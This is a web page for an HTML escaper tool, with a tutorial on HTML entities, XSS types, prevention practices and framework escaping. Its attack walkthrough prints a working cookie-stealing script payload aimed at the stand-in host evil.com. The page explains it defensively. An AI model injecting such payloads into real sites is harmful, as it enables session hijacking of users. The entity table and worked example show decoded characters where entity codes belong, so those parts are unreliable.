🔐HTML Escaper
Escape and unescape HTML special characters like <, >, &, ' and " for safe coding. Useful for developers, designers, and anyone working with HTML.
Frequently Asked Questions
🤔 What is HTML escaping?
HTML escaping means converting special characters like < or& into safe text codes so they are displayed correctly in a browser instead of being executed as code.
🔒 Why should I escape HTML?
Escaping HTML prevents code injection attacks and ensures that text content is displayed safely in browsers or web apps.
💡 Can I also unescape HTML text?
Yes! This tool also allows you to unescape previously escaped characters so you get back the original text.
🌍 Does it support all characters?
Yes, it supports common HTML entities including <, >, &, ' and ".
Why HTML Escaping Matters
HTML is a markup language that uses special characters like angle brackets, ampersands, and quotation marks to define the structure of web pages. When these characters appear in user-generated content or dynamic data, browsers may interpret them as HTML tags or attributes rather than displaying them as plain text. This can break the layout of a page, corrupt the document structure, or worse, create a security vulnerability. HTML escaping converts these special characters into their corresponding entity references so that they are rendered as visible text instead of being executed as code. For instance, the less-than sign < is replaced with <, ensuring the browser displays it literally rather than treating it as the start of an HTML tag.
Complete HTML Entities Reference Table
The following table lists the essential HTML entities that every web developer should know, along with commonly used special symbol entities.
| Character | Entity Name | Entity Number | Description | Must Escape? |
|---|---|---|---|---|
| & | & | & | Ampersand | Yes |
| < | < | < | Less-than sign | Yes |
| > | > | > | Greater-than sign | Yes |
| " | " | " | Double quotation mark | Yes (in attributes) |
| ' | ' / ' | ' | Single quotation mark / apostrophe | Yes (in attributes) |
| |   | Non-breaking space | No | |
| © | © | © | Copyright symbol | No |
| ® | ® | ® | Registered trademark | No |
| € | € | € | Euro sign | No |
| — | — | — | Em dash | No |
XSS Prevention and Security
Cross-Site Scripting (XSS) is one of the most common and dangerous web security vulnerabilities. It occurs when an attacker injects malicious scripts into content that is served to other users. If a web application displays user input without proper escaping, an attacker can insert JavaScript code through form fields, URL parameters, or comment sections. When other users view that content, the malicious script executes in their browsers, potentially stealing session cookies, redirecting to phishing sites, or modifying the page content. Escaping HTML output is the first line of defense against XSS attacks. By converting every special character to its safe entity equivalent before rendering, the injected code is displayed as harmless text rather than being executed. Modern frameworks like React, Angular, and Vue automatically escape output by default, but developers must remain vigilant when using methods that bypass this protection, such as dangerouslySetInnerHTML in React or v-html in Vue.
How an XSS Attack Works (Simplified)
Step 1: An attacker enters the following text into a website comment field:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Step 2: The server stores this text in the database without sanitizing it.
Step 3: When another user loads the page, the browser interprets the stored text as an HTML script tag and executes the JavaScript.
Step 4: The victim's cookies (which may include session tokens) are sent to the attacker's server.
Prevention: If the server had escaped the output, the browser would display the literal text <script>... instead of executing it as code.
The Three Types of XSS
Stored XSS
The malicious script is permanently stored on the server (in a database, comment field, or forum post). Every user who views the affected page is attacked. This is the most dangerous type because it does not require the victim to click a special link.
Reflected XSS
The malicious script is embedded in a URL or form submission and reflected back to the user by the server in its response. The victim must be tricked into clicking a crafted link. Search results pages and error messages are common vectors.
DOM-Based XSS
The vulnerability exists in client-side JavaScript code that insecurely processes data from the DOM (e.g., reading from window.location or document.referrer and inserting it into the page). The server is never involved.
Security Best Practices for HTML Output
Escaping is one part of a comprehensive defense strategy. Follow these best practices to keep your web applications secure:
- 1. Escape all dynamic output by default. Use your framework's built-in auto-escaping. In React, JSX automatically escapes interpolated values. In Django, templates auto-escape. In PHP, use
htmlspecialchars()withENT_QUOTES. - 2. Use Content Security Policy (CSP) headers. CSP restricts which scripts can run on your page. A strict CSP like
script-src 'self'prevents inline scripts from executing even if an attacker manages to inject them. - 3. Validate and sanitize input on the server side. Never trust client-side validation alone. Strip or reject unexpected HTML tags from user input before storing it in your database.
- 4. Use HttpOnly and Secure flags on cookies. The HttpOnly flag prevents JavaScript from reading cookie values, making cookie theft via XSS impossible. The Secure flag ensures cookies are only sent over HTTPS.
- 5. Encode for the correct context. HTML entity encoding is for HTML body content. For data inside JavaScript strings, use JavaScript encoding. For URLs, use URL encoding. Each context requires a different encoding strategy.
- 6. Avoid innerHTML and similar APIs. In JavaScript, use
textContentinstead ofinnerHTMLwhen inserting user-controlled text. If you must use innerHTML, sanitize the HTML with a library like DOMPurify first.
Context-Specific Encoding Table
Different parts of an HTML document require different encoding strategies. Using the wrong encoding for the wrong context can leave your application vulnerable even if you think you have escaped everything.
| Context | Example | Encoding Required |
|---|---|---|
| HTML body | <p>USER_DATA</p> | HTML entity encoding (< > &) |
| HTML attributes | <input value="USER_DATA"> | HTML entity encoding + quote encoding |
| JavaScript strings | var x = 'USER_DATA'; | JavaScript escape sequences (\x, \u) |
| URL parameters | /search?q=USER_DATA | URL encoding (%20, %3C, %3E) |
| CSS values | color: USER_DATA; | CSS escape sequences (\HEX) |
Common HTML Entities
The five characters that must always be escaped in HTML content are the ampersand (& becomes &), less-than sign (< becomes <), greater-than sign (> becomes >), double quote (" becomes "), and single quote (' becomes '). Beyond these essential five, HTML supports hundreds of named entities for special symbols such as © for the copyright symbol, € for the Euro sign, and for a non-breaking space. Numeric character references using decimal or hexadecimal notation can represent any Unicode character, making it possible to include virtually any symbol in an HTML document regardless of the page encoding.
Worked Example: Escaping User Input
Let us walk through a concrete example of how escaping protects a web application.
User enters in a comment form:
I love the product! <b>Best ever</b> & the price is <$50
After HTML escaping:
I love the product! <b>Best ever</b> & the price is <$50
What the browser displays:
I love the product! <b>Best ever</b> & the price is <$50
Notice the <b> tags are displayed as text rather than making "Best ever" bold. This is the safe behavior -- the user's comment is shown exactly as typed, without any HTML being interpreted.
When to Escape HTML
You should escape HTML whenever you insert dynamic or user-supplied data into an HTML document. This includes rendering database content on web pages, displaying form input back to users, embedding data in HTML attributes, and generating HTML in server-side templates. Escaping is particularly critical in contexts such as blog comments, forum posts, profile fields, search result previews, and email templates that render in web browsers. However, escaping is not needed when you deliberately want to render HTML markup, such as when loading trusted content from a CMS rich-text editor. In those cases, use a sanitization library that strips dangerous tags and attributes while preserving safe formatting elements. Our HTML escaper tool makes it easy to convert raw text to safe HTML entities and vice versa, helping you protect your applications and verify encoded content quickly.
When You MUST Escape
- User-submitted comments and reviews
- Search query displayed in results
- Profile names and bios
- Database content rendered in HTML
- Error messages that include user input
- Email templates with dynamic content
When Escaping Is Not Needed
- Trusted CMS rich-text content (use sanitizer instead)
- Static HTML written by developers
- Content that will never be rendered in a browser
- Data inside JSON responses (use JSON encoding)
- Plain text files and logs
Framework Auto-Escaping Guide
Most modern web frameworks escape output by default. Here is how the major frameworks handle HTML escaping and what to watch out for:
| Framework | Auto-Escapes? | Bypass Method (Dangerous) |
|---|---|---|
| React (JSX) | Yes | dangerouslySetInnerHTML |
| Vue.js | Yes (double braces) | v-html directive |
| Angular | Yes | [innerHTML] binding |
| Django | Yes | |safe filter, mark_safe() |
| Ruby on Rails (ERB) | Yes (Rails 3+) | raw(), html_safe |
| PHP (plain) | No | Must call htmlspecialchars() |